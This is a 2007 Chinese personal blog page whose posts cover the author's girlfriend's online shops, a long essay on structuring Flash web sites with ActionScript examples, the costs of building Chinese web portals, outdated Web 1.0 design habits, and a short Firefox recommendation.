[x]Wings Blog

My Love is Pig

2007-07-31T01:36:51+08:00

The Pig,you are my life the love.

这个是猪猪的网店，也许女生都喜欢这一个吧,希望看后的女生能去买件衣服吧，他可是费了好大精力的*^_^*
拍拍:http://shop.paipai.com/15015662
淘宝:http://shop33516141.taobao.com/

这个是猪猪养的多多,不过送人后就被人丟失了........:

这个是猪猪的Blog,嘻嘻，和我的挂在一起:
http://www.xflashboy.com/jing/

还有QQ空间也在用:
http://user.qzone.qq.com/15015662

这一个是她第一次翻唱歌曲；当时是在宿舍录的，因为经常有人来，录了好几遍才录成的;

播放音频文件

在线播放

has you in the day never can be lonely

Flash WEB 应用

2007-07-27T18:44:07+08:00

今天看到这篇文章,觉得写的很好,自己也好想下手FLASH WEB,或许过几天闲下来一定要研究这一个东东
记得我刚接触FLASH那会儿，应该是FLASH6末期吧，国内的flash web还是很少的，牛X的更是屈指可数，而且这个时候所谓的牛X，一般都是指效果很酷，技术强的基本没有。其实这是必然，国内早期的flash web开发者大都是由FLASH动画制作者或是网页设计师转变而来。他们非常热衷于片头和过渡效果，为此不惜牺牲浏览者的等待时间并吃掉浏览者的CPU。这就是为什么现在好多人一谈起flash web就觉得它体积大，效率低的根源了。当然如果是真对个人网站，这也无可厚非，个人网站信息量小，大多都是一次性浏览的网站，酷眩的效果可以让人过目不忘，尤其是在那个年代，还能让人耳目一新，这是普通HTML网页所不能企及的。印象中最深刻的应该是那款绿色版的龙城闪客，黑客帝国似的特效和动画把我彻底征服。

可是后来MM公司对FLASH的连续两次升级都把重点放在了AS上，AS内置类快速膨胀，功能急速扩展，AS2.0更是趋向标准的面向对象语言。这时候一大批程序员又被吸引进来了，尤其是那些有C或者JAVA背景的牛人们。可惜的是，他们总喜欢用程序员的思维去评判flash web，他们甚至用软件开发的标准去往flash web开发上硬套。结果是必然的，他们失望了，可这时候大部分人不是从自己找原因，他们非常武断的就把责任推给了FLASH：“flash web结构混乱，基于时间轴的AS写法奇怪，flash web不适合大规模的商业应用开发！”。就这样flash web的前途被宣判了死刑。

由于上述flash web在中国的特殊发展历程，造成现在一个非常有意思的现象：很多以前动画很牛的前辈们，都去职业搞动画片制作了，并为FLASH动画的产业化和商业化勇敢探索着，有些已经取得了辉煌成就；而FLASH7之后进来的程序牛人们，直接从事FLASH游戏开发和FLASH RIA应用开发了，他们更习惯基于事件的编程和面向对象的开发模式，时间轴对他们的意义已经不再重要。这样以来flash web开发成为一个中间断档带，也是人才最稀缺的地带。很多目前从事flash web开发的人员应该都是从HTML网页制作人员简单学了一些FLASH后过渡过来的，他们即非动画高手也非程序高手，更多的是网页设计高手。然而这些设计高手又总爱拿FLASH跟PS比，结果flash web开发又没得到好的口碑。flash web现在只好和一群半道出家的非专业人士一起沦落在FLASH业内的最底层——呜呼悲哉！

好在还有火山和像火山一样的少部分理想主义者，并不是把钱当做全部人生追求。至少我现在还是天真的坚持：我要为我的爱好而活，然后用我的爱好赚一点吃饭的钱就可以了，反正我短期内是绝对不会为了赚更多的钱而改变自己的目标的！我从最开始学习FLASH就是以做网站为目的，这两年多来，我所学的一切都是以flash web开发和应用为核心，我几乎尝试了所有常见的flash web结构形式，我时时刻刻的都在考虑如何在保存FLASH优势的情况下，又能开发出有实际应用价值的高效率的商业作品，最终将flash web开发模式化，快速化。

那么flash web的优势在那里呢？对于展示性的网站，当然是FLASH酷眩的效果，这点已经被大多数人所共识。但对于包含大量信息，需要经常更新的flash web，它的最大优势就不再可能是效果，因为flash的效率实在不敢恭维，大量的效果会影响人们对信息的查询效率，现在网络带宽也不容乐观，大量的动画必将造成SWF体积膨胀，影响浏览速度。那么大中型信息类flash web的优势到底是什么呢？在火山看来，最大优势只有两点而已，一是界面布局灵活，二是数据的无刷新更新。还记得我们以前在DW中拉表格的痛苦吗？还会为了网站布局工整写一堆CSS和JS吗？还用得着每次更新数据就打开一个新页面吗？flash web的两大优势使这些历史的痛苦都成为了过去。而且，这两点如果处理恰当的话，就已经足够给普通的浏览者带来全新的用户体验了。

我的爱好是flash web开发，而这块儿又是人才断档地带，正好适合我这种程序和设计两边都不靠的人生存，天时地利人和，看来flash web开发对我来说真的是天命所归，我还有什么道理不继续坚持下去呢！但毕竟我这两年来一直也都是处在学习和探索阶段，还不是真正的理论研究阶段，两年时间太短了！我的很多想法和理论还很不成熟，甚至是幼稚的。我现在拿出来和大家分享，不求说服谁或者证明什么，只求能给后来人一些启发，同时自己也好好总结一下。下面就粗浅的谈谈我目前对flash web尤其是flash web结构的认识吧。

打开68design这类酷站收藏站，我们不难发现现在的flash web真是百花齐放、百家争鸣。形形色色、奇奇怪怪的flash web使人应接不暇、扑朔迷离。自由灵活是flash web的生命力所在，但这也正flash web商业化的主要瓶颈之一。商业最看重的是效率，而无规则便无效率可言。那么flash web是不是真的就一点规律都没有呢？非也！纵观现在所有的flash web（FLASH RIA应用程序除外，比如FLASH涂鸦板、地图等等），不管它们技术怎么牛，效果怎么酷眩，都不能逃脱以下四层结构：

动画层（Movie）
背景层（Background）
数据显示层（Display）
数据层（Data）
这些概念其实都不新颖，看到这些我自创的名词，一些有经验的开发者们肯定立刻都能猜出一二来。但由于这些概念以前并没有权威的提法，至少我没见过，为了以后论述方便，我今天在这里正式恬不知耻的给这种结构起个名字：火山FLASHWEB四层结构式，或者火山MBDD结构式，以下简称MBDD式。如果由于我的孤陋寡闻导致和某些官方或者前辈的提法相似的话，我在这里提前说声：如有雷同纯熟巧合：）

我以下的所有讨论都将紧紧围绕这四层结构进行，因为在我看来，flash web的灵魂就是它的结构，一个flash web的技术含量不是看它某些特效多眩，更不是看这个WEB中有个什么新颖的、牛X的技术应用，关键是要看它通过什么手段有效的把各种元素统一起来的！如果你曾经试图想把flash web做大的话，我相信你在这方面的体会肯定不会比火山少。

最后我要提前说明的一点是，MBDD式是对所有flash web的概述，很多flash web根据其功能不同可能缺失其中某些层，下面我会仔细讲解。

至于flash web涉及的其它方面，我都略过，毕竟我这篇是总结性的文章，不是教程。flash web也不是我一篇文章就能写全面的。

早期的flash web大都含有丰富的过渡动画，比较典型的是：龙城闪客和梵天。最新版的龙城闪客还给每个子栏目的过渡也添加了绚丽的动画效果。总的来说动画层可以分为三种：

开场动画
栏目过渡动画
点缀动画
先来谈谈开场动画。开场动画时间一般比较长，反映在时间轴上就是好长好复杂的一段帧结构。第一帧一般是loading画面，最后一帧一般是网站的主框架。这里就存在一个如何安排帧的问题。记得以前见有人在论坛上发帖说flash web最好不要分场景，其实他的说法是片面的，对于没有过渡动画的flash web来说，完全可以这么做，可对于大量过渡动画的flash web就另当别论。如果你不分场景，必然造成代码和动画混杂在一起。而一般来说，控制网站主要功能的代码都在过渡动画之后的帧上，在后续的代码编写过程中，你每次可能都要把时间轴拉到几百甚至是上千帧之后，这也非常的麻烦。火山的建议是：把过渡动画做在一个场景中，然后复制过渡动画最后一帧的网站框架帧到第二个场景中，主要的功能代码也都将集中在这个场景，这样就有效的把动画和代码进行了分离，编写代码时时间轴看上去也舒服些。还有一种比较常见的做法是，给过渡动画加上一个skip按钮，如果浏览者点击了这个按钮，马上就会loadMovieNum(main.swf,0)进一个新的main.swf，而这个main.swf就网站的主框架了。这种做法与前一种其实类似，只不过它把动画和主框架从分在两个场景变成了分在两个SWF，而且还能让浏览者自己选择是否观看过渡动画，有更大的灵活性。

再来谈谈栏目过渡动画。栏目过渡动画主要指在你点击一个导航按钮打开一个新的栏目时所显示的一段动画，还拿最新版龙城闪客举例，它在打开一个新的子栏目时会先把上一个栏目变成很多小方块，然后飞到左边的神秘空间中，这时又从神秘空间里发出一道神秘的光线，并在这道光线的沐浴中出现新栏目的加载画面。我没有破解过最新版的龙城闪客，不知道他到底是怎么安排这个动画的，但我有自己的想法。如果这个过渡动画是集成到主框架的，那过渡动画中最好不要写代码，而是在主场景中通过侦测过渡动画的当前帧和总帧数来确定何时加载子栏目SWF；如果每个子栏目的过渡动画效果不同，那最好把每个子栏目SWF处理成一个独立的网站，其结构应该遵循在“开场动画”中提到的规则。

点缀动画没什么好说的，你把它想象成在HTML网页中起美化作用的GIF动画就好了，当然它比GIF动画更生动，使用也更灵活，还可以具有交互性。

总之我的主要思想就是尽量把动画和代码分开，以便自己以后方便查找和修改代码。同时保证网站结构工整。

背景层，顾名思义就是网站的背景，看上去很容易理解也很简单，其实它蕴涵着很多知识和技巧，如果处理不善，将直接影响flash web的用户体验。

我在这里把背景层分为以下三种模式：

FLASH模式
PS模式
混合模式
FLASH模式：所谓FLASH模式，就是直接在FLASH中完成网站主体框架的绘制，并利用FLASH完成框架修饰内容的填充。这种模式比较适合界面简单，色彩单一，高效实用的flash web。它充分利用简单矢量图形体积小的优势，同样一个画面，它的体积将比位图小很多。所以这样的网站如果处理恰当的话，完全可以比同种样式的常规HTML网页体积更小。同时由于它直接在FLASH中绘制，非常便于修改以及同其它层结合。

PS模式：这种模式我们可以和传统的网页制作进行类比。传统网页都是先用PS绘制界面，然后切片导出为网页，再在DW中进行编辑。flash web开发一样可以采用这一流程，利用PS强大的位图处理功能弥补FLASH绘图方面的不足。但是在切图的时候，它和HTML网页切图思想不同，在flash web中经常要把动画因素和各元件之间的遮挡关系考虑进去，所以我一般都是把每个栏目切成一个JPG位图，涉及动画和层级关系的元素则独立导出为PNG透明图象。这样虽然方便了在FLASH中的后期制作，但造成网站体积会一定程度的加大。为了优化下载和用户体验，我们可以利用FLASH流媒体的特性，把体积较小或者独立性比较好的栏目放在开始的帧先显示出来，相互联系紧密的主功能栏目放中间，体积较大独立性也较好的栏目放最后显示。当然不要忘记用一个loading条时刻提醒浏览者各栏目加载状态，不至于使他们失去继续看下去的信心。这种模式一般适合网站各栏目独立性较好，网站色彩丰富且含有大量动画效果，元件层级复杂的网站。另外，在我写这篇文章的时候，从黑羽那里得到消息，最新版的FLASH真的可以支持PSD了，而且还能保留原始图层，再加上以后网速越来越快，PS模式在将来很有可能会大行其道。

混合模式：混合模式就是综合利用PHOTOSHOP和FLASH，取长补短，相得益彰。先用PS设计好网站背景图，并把内容显示部分留空，就像设计HTML网页一样。然后不需切图直接导出为JPG，并导入FLASH。再在这张大背景图片上新建一层，用制作动画常用的钢笔勾边上色技术把网站主框架描一边，这就涉及到我后面要讲的“数据显示层”，数据显示层主要由与背景色相似的工整的矢量色块组成，当然像火山一样喜欢偷懒的人也可以适当添加位图，但数据显示层体积最好控制在30K以内。数据显示层成型后，一定要记得把背景位图放在数据显示层之后的帧上。现在大家应该差不多能猜出这种模式的优势在那里了吧！？对，我们可以利用FLASH流媒体的特性，无须等到整个SWF都下载完毕后再显示网站，flash web的loading时代该过去了！伟大的流式时代就要来临了！我们完全可以先把数据显示层显示出来，让浏览者以最快的速度得到他们想要的信息，与此同时，悄悄的下载背景层，由于我们的数据显示层和背景层的颜色和布局都相似，甚至是完全匹配的，所以背景层下载完成并显示出来的一刹那也不会给浏览者带来太大的跳跃感。当然这样无疑加大了工程量，要求设计师的PS和FLASH都不能弱。所谓鱼和熊掌不能兼得，我们必须根据具体的项目进行取舍，看是否真的有必要采用这种模式。火山个人门户V3主站中，由于背景图片体积过大，我便采用了这种模式，据大部分人反映，用户体验还是很好的：）

总之三种模式可谓各有优缺点，如何取舍还是要根据具体项目决定，当然，团队和个人能力也是重要因素。一般来说，程序员出身的可能比较喜欢FLASH模式；传统网页设计师出身的一般比较喜欢PS模式；半道出家，什么都懂点的家伙们看了火山这篇文章后，估计就要开始尝试混合模式了。

前面讲背景层的时候已经提到了数据显示层。由于火山基本不使用组件，所以对火山来说，数据显示层主要是指TextField，或者用MC简单包装的TextField。它们是网站信息的主体部分，一般都是动态的调用外部信息。当然，由于我用MC进行了包装，它们也可以作为按钮使用，比较常见的就是标题列表，比如我主站上三个子站最新发布列表。

就像我前面说过的，数据显示层要尽量的精简体积，它是一个flash web浏览效率的关键，不适合做大量的效果，尤其是位图效果。而它的结构也要尽量清晰且工整，便于代码控制。对于FLASH模式的网站可以考虑直接将TextField放到_root上；而对于PS模式和混合模式，则最好还是用MC对TextField进行包装，以保证网站各栏目的独立性。

数据层可谓是整个flash web的中枢神经系统，负责flash web的所有数据显示和交换，还有功能的实现，甚至是动画的控制。在正式开始讲解数据层之前，我想先回顾一下我自己的代码编写历史。最开始的时候，我一般都是直接把代码写在元件上，这样写的局限性比较大，很多功能无法实现；后来我开始尝试在时间轴上写，可由于当时能力有限，部分代码还是要写在元件上，这样就造成代码混乱，时间一长，自己也记不清代码到底写哪儿；AS能力稍微强点后，我就不再在元件上写代码了，而是全部写在时间轴上，一般都是每个栏目，或者是每个MC包含自己独自的代码，这样做的好处是，代码分布比较清晰，而且代码独立性比较好。但即便这样做，还是不够理想，因为如果网站MC嵌套结果非常复杂的话，每个MC的代码都独自包含，那么代码可能会写在很深层的MC上，而且MC很多话，代码也将随之分布很散，这样还是不方便代码的集中管理，也不容易从总体上把握网站数据之间的联系；那么现在的我怎么做呢？由于我现在不仅AS已经玩的很熟，而且能够从宏观上对网站结构进行比较到位的把握，所以我已经完全有能力根据网站的特点和功能在正式动工之前就把网站划分为若干功能模块，然后用我自创的MC三帧式去完成每个模块的实现。打开我网站的源文件，你会发现，除了主时间轴和主时间轴上一系列具有“三帧式”结构的空MC外，其它地方极少有代码，可以说核心代码已经完全从网站中分离了出来。在主时间轴上，一般来说第一层是AS层，第二层可有可无的标签层，第三层就是数据层，全部的“三帧式”MC都放在这一层，最下面的那些层就是网站主框架了。也许你已经忍不住要问了，你老说“三帧式”，到底什么是“三帧式”啊？问得好，这正是我下面要讲的重点。

“数据层MC三帧式”是我为了方便数据管理而自创出来的一种有效的数据组织框架，它巧妙的利用了时间轴，具有清晰的结构，而且还具有通用性。从字面意思，我们便可以猜出来，它是具有三个空白关键帧的影片剪辑，这三个帧的名字按在时间轴上的先后顺序依次为“chuShi”、“shuaXin”、“gongNeng”。

“chuShi”帧：这一帧负责系统的初始化，主要分两部分，第一部分一般都是一大串变量。这些变量又分为三种，第一种是所有这个MC要操作的对象和其它元件接口；第二种是一些系统初始变量，比如将负责留言显示的页码变量初始为1，就可以让留言初始为显示第一页；最后还有一个比较特殊的布尔变量，就是“yiJiaZai”，我们把它的值初始为false，表明此MC内控制的外部数据此时还未进行过加载，一旦这个MC控制下的数据加载成功，我们立刻将其值变为true。这样做的好处是可以根据此值判断数据是否是第一次加载，然后进行不同的设置和响应。第二部分则是注册刷新函数，有经验的动态flash web开发者都应该知道，FLASH中的数据刷新是重点，这也是flash web较常规网页的最大优势之一。在这里，我们需要注册俩个负责数据刷新的函数：

function chuShi(){gotoAndPlay("chuShi");}
function shuaXin(){play();}
稍候我会解释为什么。

“shuaXin”帧：这个帧是个空白关键帧，什么都没有，它的意义也将在下面解释：）

“gongNeng”帧：这帧主要负责各种功能的实现以及数据的呈现，为了方便对整个网站的控制以及各“三帧式MC”之间的相互控制，我建议把比较重要的功能都写成函数。在“gongNeng”帧代码的最后一定要加上一句gotoAndStop("shuaXin")。这帧中还有一个重头戏就是错误分析和处理，但为了紧扣文章中心，这里就不多讲了。

这样以来我们就建立起一套简单有效的数据控制机制。首先在_root上将所有的“三帧式MC”都stop到第一帧，也就是“chuShi”帧，然后建立一套数据加载机制，通过控制三帧式MC的播放来控制数据加载顺序。数据加载完成后，我们就可以在任何地方通过控制三帧式MC来控制这个MC负责的网站某特定部分。比如有个名字为“lieBiao_mc”的三帧式MC是负责网站文章标题列表这部分的功能，我们就可以通过下面极其简单的代码来实现对文章列表的控制：
如果我们要得到文章列表的初始状态，只需要调用：_level0.lieBiao_mc.chuShi();
如果我们要得到文章列表的某特定状态，只需要对负责此状态的变量赋值，然后调用：_level0.lieBiao_mc.shuaXin();
如果我们只需要调用文章列表中的某一项功能，只需要调用：_level0.lieBiao_mc.特定功能函数名();
由于我们在“gongNeng”帧中就有错误分析、过渡动画等这些重复性内容，所以当调用shuaXin函数时，这些内容就会自动触发，非常简单好用。

数据层MC三帧式就简单介绍到这里，具体细节其实非常丰富，这里只是抛砖引玉，细节全部略去。

通过上面的简单介绍，相信大家对MBDD式的每层都应该有个大致的了解了。就像我前面说过的，MBDD式是对所有flash web的概括，并不是每个flash web都必须有四层结构的，很多flash web由于其作用不同，很可能确实某些层。比如像我的个人门户V3，就没有过渡动画层；而这个酷站收藏站，可以说是既没有过渡动画层又没有背景层；还有些flash web是纯粹的商品展示，比如现在比较流行的房地产网站，他们大都倾向于直接通过动画来展示他们的商品，数据层和数据显示层则比较薄弱。

前面说了那么多，MBDD式的真正意义是到底是什么呢？主要有以下两点：

模式化：对于各种类型的flash web，我们必须给出一套对应的通用开发模式，就像世界上的人形形色色，但大家的骨架都是一样的。我们有了结实强健的骨架，再往上添砖加瓦就比较容易了，而且效率也会非常的高。
独立性和模块化开发：其实“MBDD式”是我自己在漫长实战路程中的血泪史，从接触FLASH到现在，自己也做个十几个flash web了吧，虽然数量不算多，但每次做我都是自己一个人从界面设计一路杀到后台。刚开始的时候，由于我还不能在一开始就准确把握整个网站的架构，所以只能逐功能去完成，比如先设计导航部分的界面，然后在FLASH中完成导航部分的前台功能，最后写后台并再回到FLASH中完成整个导航部分，如此循环往复直至完成整个网站。采用这种方式还能按预期完成一个功能复杂的flash web，此人的意志力和随机应变的能力一定不能弱。因为一个人的思维如果频繁的在设计、前台、后台之间跳转的话，真的很容易精神崩溃。再加上前期没有很好的规划，很可能出现后来的部分和已经完成的部分冲突，造成前面的劳动全部付诸东流，甚至不得不重新来过，这时候还有多少人能坚持下来呢？后来我觉得长此以往确实不是办法，就开始考虑如何才能在一开始就对整个flash web有个大概的把握，并能长时间的把精力集中在一件事情上呢？于是MBDD式就应运而生了！在MBDD式下，我完全可以遵循这样的开发流程：→选择架构模式→界面设计（网站主体框架及背景层）→后台（FLASH中数据层需要的数据显示格式和写入格式）→FLASH前台合成（动画层以及数据显示与交换）。在流程的每一步中，我都会最大限度的把所有精力都集中在这步上，直到开始下一步的制作。而且如果在制作的过程中发现有架构不对的地方，我也可以有能力从宏观上去把握，做出最合理的调整。但是很可惜的是，通过火山对一些flash web的分析，我发现现在还有很多人，包括有过flash web开发经验的人，还是不能很好的认识flash web的结构，他们做flash web随意性还是很大，背景层与动画层不分、数据表现层与数据层暧昧，甚至是想到那里做到那里，各层混合在一起，最后自己终于把自己搞迷糊了，却把责任都推给FLASH，这到底是FLASH的可悲还是开发者的可悲？
关于flash web开发团队协作的简单思考：火山现在还是学生，可以说没有任何团队开发经验，在这里谈团队协作是典型的纸上谈兵，但我在开发自己的网站时，是严格的给自己分角色的，也有几分团队的意味，很多想法在这里不吐不快。比如我一开始做架构分析的时候，除了简单的书写文档，是绝对不会开工的，此时我扮演的是一个架构师的角色；而在PS中绘制界面的时候，我会尽量不去想后台，此时我又在扮演一个PS设计师的角色；而在写后台的时候，我只是机械的按架构时的要求完成数据显示和写入格式，一般来说数都是固定格式的XML，此时我根本不会去考虑什么FLASH和PS，完全在扮演一个后台工程师的角色；最后在FLASH中合成的时候，我则又扮演着FLASH设计师和AS工程师。尤其是在开发我自己的个人门户V3的时候，我更是“严于律己”，在开发流程的每个阶段，尽量让自己少管“闲事”，看到最后能否按预期目标完成任务，结果还是比较满意的。我的想法是：在MBDD式下，一个flash web开发团队应该至少有以下五个人：架构师、PS设计师、FLASH动效设计师、AS工程师、后台工程师。架构师负责对整个网站的把握，他必须了解flash web开发的每个环节，丰富的开发经验使其在接到一个项目的时候可以根据需求很快的决定采用那种开发模式，并把这个项目支解为若干功能模块，然后为PS设计师提供内容框架草图，并指定后台数据格式。而且在开发的整个过程中，他要负责其他人的调节和沟通。所以如果说架构师是这个团队的灵魂人物，一点都不为过。PS设计师则需要根据框架草图设计网站界面，他最好懂得一点FLASH基础操作，知道那些部分是在FLASH中可以很方便的直接绘制的，而那些部分必须由PS完成。当然，如果他还能把动画因素也考虑进去，并在PS中部分完成效果图，那就更好了。FLASH动效设计师主要是完成FLASH中的动画和特效，他最好懂得一点AS，这样他在做动画的时候，就会把编程的因素考虑进去，使他的动画尽量便于程序控制，特效也不至于太吃CPU，如果他的AS能力足够强，我们还要让他根据架构师划分的模块在FLASH中完成网站主界面的布置，当然这时候架构师最好从旁协助。AS工程师主要是根据架构师的要求完成特定功能模块，同时完成前后台的数据交换，他最好懂得一点后台知识，至少要知道FLASH如何通过后台程序写数据，另外他的XML解析一定要精通。最后是后台工程师，他只需要根据架构师的要求写入读出特定格式的数据就行了，当然，如果他学一点AS的话，将更有利于他理解他为什么要那么做，另外他的存在还有更大的意义，那就是完成网站数据结构分析以及负责数据库管理。

总之我觉得，除了SEO的处理现在还不够完美外，如果我们深入理解了flash web的结构，建立起一套完善的开发模式，再加上平时积累的代码库、元件库、特效库、资料库等，flash web开发快速化、高效化将不再只是梦，flash web完全可以达到HTML网站的开发效率，而且有着比HTML网站更好的视觉和交互效果。

做网站，你的前途出路在那里？

2007-07-19T19:10:48+08:00

大型娱乐站、旅游站、咨询站、门户站，中国某某第一站？？？？

你知道你上面说的这几个字，如何能实现嘛？
我来告诉你，
1年广告费用（价格都是2004年的）

首先，
SINA 一天的首页 LOGO图片价格：15000/天
SOHU 一天的首页 LOGO图片价格：15000/天
163 一天的首页 LOGO图片价格：18000/天

SINA 一天的首页通栏价格：16万/天
SOHU 一天的首页通栏价格：15.2万/天
163 一天的首页通栏价格：15.4万/天

SINA 首页弹出页面价格：10万/小时
SOHU 首页弹出页面价格：12万/小时
163 首页弹出页面价格：11.5万/小时

SINA 首页弹出窗口价格：13万/天
SOHU 首页弹出窗口价格：14万/天
163 首页弹出窗口价格：13万/天

SINA 所有用户邮件价格：12万/天
SOHU 所有用户邮件价格：10万/天
163 所有用户邮件价格：15万/天

这只是广告费用，

其次，你在机房的投资，

DELL 主服务器系统 40万/台（全套）
IBM 主服务器系统 48万/台（全套）
HP 没有主服务器系统

你至少不上3台？1台网站，1台论坛，1台邮件

然后是人工，
现在网络雇员的费用应该是

北京高级管理人员 10-20万/月
一般管理人员 1-5万/月
技术骨干 50-200万/年
一般技术 2000-5万/月
普通维护 1000-8000/月
普通雇员 600-2000月

上海高级管理人员 20-40万/月
一般管理人员 5万/月
技术骨干 80-200万/年
一般技术 5000-5万/月
普通维护 3000-1万/月
普通雇员 1000-4000月

本站注：这上面的数据确实有点夸张。补充如下：
外企高管（除了地区总裁亚太经理，港澳台胞）也就20－100万/年
一般技术 2000-1万/月比较多，通信行业多些，2万/月
技术骨干 5000-20000/月是很正常的，多了就该被开了

而你的所谓门户，至少需要
5个高级管理财务/网络/技术/人事/客户
5-10个技术骨干
20个技术
20个普通维护
普通雇员建议不超过20

然后，计算得出你一年的投资成本为：500万-8000万RMB

计算你的赢利项目:

0.门户站？汗，不说你们也知道，
1.旅游，你的本地有支柱实物产业嘛？比如酒店，宾馆，旅行社？
2.信息广场？你们本地的信息港和人才市场的访问量是多少，剩下多少给你？
3.网站建设？？这个要是能赚钱，那就奇怪了，任何搞网站的都知道，没有内部的人，没有关系，没有政府大企业的长期合同，搞网站建设不死也赚不了多少。
4.礼品？网上商店？你知道现在有多少家吗？你打算推出什么特色来吸引客户？taobao?ebay?云网？等等大的卖家，都已经吃掉中国的9成市场了。
5.网址站？你知道中国有多少网址站嘛？我不敢说自己能统计清楚，因为我根本就统计不出来数字，因为太多了，自己建立一个，当网站书签还可以。
6.搜索站？技术在那里？全都是偷盗的，有什么意思？
7.黄|色站？你简直不知道国外空间什么叫做黑？总之就是，钱给了，空间没有，或者是用不了多久，要不就是限制的很死，老是超过流量。就算你都没碰见，你以为搞黄站，就真的能赚多少钱？还有，安全？有的钱，有命花才可以啊，可别让国内CT抓到，否则.....
8.短信站？你以为中国还有多少个傻子？？？
9.广告联盟站？搞这个的，估计都把站长当做白痴了，你见过几个大站的个人网站，加入联盟的？
10.游戏站？一个17173还不够，你们到底分析过17173的流量是为什么吗？那我告诉你，因为游戏新闻和攻略，可是你们的实力，能做到先17173更新吗？
10-1.游戏外挂私服？这个偶没什么说的，用游戏就有外挂，看的远点的说，游戏公司甘心被你们这样搞吗？等国家游戏政策明了化，第一个倒霉的就是外挂站，然后就是私服.何况，这个赢利点也太小了，自己技术做不出外挂，做私服服务器贵，只是介绍等等，够难的，赢利回本难。
11.博客？除非你真的有点文学功底，还有一群这样的朋友帮你，要不，没有特色，原创，也是完.
12.下载站。别老是偷，这样是没前途的，看看人家天空为什么发展起来，最简单的道理，所有东西都是自己的，保证能下载，而且没什么太多广告烦人，不用注册，不用点广告才能下载
13.大大小小的论坛站，建议没有特色就不要开论坛，否则，半年你就知道什么叫做惨淡经营了，看着自己论坛上空空的，就知道痛苦了
14.其他的大大小小的，不是很多同类型的网站？能有几个真的混出来的，能站出来说我的站能养活我，养活我的网站。估计中国10成的网站里面，连0.1成都不到吧。

当然不能否定的是：
如果你的广告能有预期的那么好，
访问能有预期的那么好，
产品卖的能有预期的那么好，

也就是说，你有大概3-20年的时间收回成本。

完了，个人看法，砖可以仍，

只是觉得你们这样，随便建一个网站，打上点东西，
就叫
什么什么全球
什么什么亚洲
什么什么中国
什么什么唯一
什么什么门户
什么什么独创

的普通网站，不能放眼在实际情况，
整和现在的网络气息，
找到自己的突破口，

盲目的复制性
HAO123

盲目的偷盗性
新闻小偷

盲目的重合性
是个论坛就有情感和灌水区

现在，是不可能建立一个网站，就赚钱的
因为中国

只有一个 hao123 只有一个 17173
而他们，一个被收购，一个被并购
只有一个易趣，也只有一个taobao
而他们，一个烧钱过亿，一个苦苦挣扎
一个SOHU和一个163
而他们，一个靠名气，一个靠游戏
一个SINA和一个TOM
而他们，一个是日本投资文化侵略(本站注：此说法有误)，一个是色|情新闻起家

要做，就要做别人没有的，和别人做的一样，
在网络上，你能分到多少流量？

只是告诉大家，做网站，要理智，
首先，你要爱一行，才能精通一行，不能是说赚钱，
就来干，
为了赚钱而赚钱的网站，有多少网民会信任经常来你的站呢？

需求决定供给，给网民真实的需要，
他们才能拥护你的网站，

当有一天，你真能做到大站的时候，
那种网民对你网站的认可，
才是一种最大的 “赢利”
是最值得做网站的去争取的，而为之努力的

网络最大的赢家是谁？
网通和电信!!!!!!!!!!!!!!

在Web2.0网站中看不到的7个Web1.0细节

2007-07-19T00:30:09+08:00

如果你的网龄有4年甚至更长的话，你应该会明显的感觉到现在的网站和以前相比已经大不一样了。随着网络技术的发展，以及网页标准化的完善，一些被曾经被认为是网站必须注意的细节，现在已经变得不再必要了。尤其是在Web2.0网站中，你更加不会看到以下7个Web1.0的细节：

1.在XXX中浏览获得最佳效果：曾几何时，我们会在网页中看到类似的提示：“请在 IE.5.5或Netscape 6中浏览获得最佳效果”。甚至还在后面上一句：请使用800×600以上分辨率浏览。如果你现在还能看到这样的网站，只能说明这个网站已经有很多年没有更新了，或者是做网站的人还在用Windows98！

2.下载Flash播放器：如果有网站提醒你，你必须下载AJAX和CSS插件才能够正常浏览网站，那一定是他们的愚人节玩笑。在Web2.0网站中，AJAX、CSS、Flash都是被大量应用的技术。没错，或许你曾经看到过网站上的Flash播放器下载提示，但现在Flash播放器已经是浏览器的默认配置，已经不是值得Web2.0网站担心的问题了。

3.表格：随着CSS的广泛应用，网页代码变得越来越简洁。只有很少人仍然坚持试用表格进行网页排版。为什么呢？因为通过CSS，我们可以轻松地将页面元素的定位精确到以像素计算，而且网页文件更小，下载速度更快。

4.点击这里进入：打开浏览器，输入网址，打开网站，先看到一个华丽的欢迎页面，再点一下“点这里进入”，终于看到了网站内容，哇，这真是个不错的主意！我的鼠标点击经验值又提升了！还有十万八千次我就能升到60级了——别傻了！多点一次我都嫌多！别人来到你的网站，可不是为了这些。
就好像你去到餐厅，厨师却告诉你，你必须先亲手先削掉土豆皮，他才能帮你做一份土豆泥。是不是很荒唐？但现在仍然有不少网站在做着这种荒唐事，尤其是购物网站和时尚网站。幸好，这样网站越来越少了，在Web2.0网站中更不会有，除了一种情况：就是网站有多个语言版本，在开始的时候先要选择一下。

5.Flash开场动画：情况跟比“点击这里进入”更糟糕，在看到网站内容前，你必须先看一段炫目的Flash 动画。不要以为这样可以取悦你的客户，实际上我从来没有听说过因为一个开场Flash动画做成生意的。因为Flash动画传输太慢，播放时间太长，使客户失去耐性把浏览器关掉的事倒是听到不少。
（注：很不幸地，国内很多企业网站也是如此，作为一个负责任的设计师，应该去告诉你们的客户：这已经过时了，一点好处也没有）

6.载入中，请稍候：没错，这是以往在Flash中经常看到的提示，直到整个文件下载完，你才能看到Flash 效果。现在？用56K猫上网的痛苦日子早已过去了，而且，现在优秀的设计师们，会把Flash文件分割成好几部分：下载导航条中，导航条下载完毕；下载声音中，声音下载完毕；下载布局中，布局完成……这样的体验是不是比等整个文件下载完才看到结果要要？有时候，我们甚至不容易察觉下载的过程。

7.自动调整浏览器窗口：不妨想象一下，假如你进入digg.com，网站会自动调整你的浏览器窗口的大小，到了del.icio.us，他们又自动调整一次，跑到CNN，他们又这么干！你还会访问这些网站吗？让我死了算了！
（注：实际上，在国内的网站比较少见这种情况）。

最好的浏览器 Mozilla Firefox 2.0

2007-07-19T00:12:08+08:00

Mozilla Firefox是一个自由的，开放源码的浏览器，适用于 Windows, Linux 和 MacOS X平台，它体积小速度快，还有其它一些高级特征，主要特性有：标签式浏览，使上网冲浪更快；可以禁止弹出式窗口；自定制工具栏；扩展管理；更好的搜索特性；快速而方便的侧栏。
　　相对于受到黑客万众注目又漏洞百出的IE来讲，Firefox的安全性能要好上一些，于是Firefox已经开始向IE在浏览器世界中的霸主地位发起了挑战。

    使用 Firefox 的理由

    “小心间谍软件。可以的话用Firefox吧” - USA Today
                  http://www.usatoday.com/tech/news/computersecurity/2004-09-08-zombieinfect_x.htm
    “...一股新鲜的空气... 微软要郁闷了.” - FORBES
                  http://forbes.com/infoimaging/2004/02/04/cx_ah_0204tentech.html

    阻止弹出式窗口
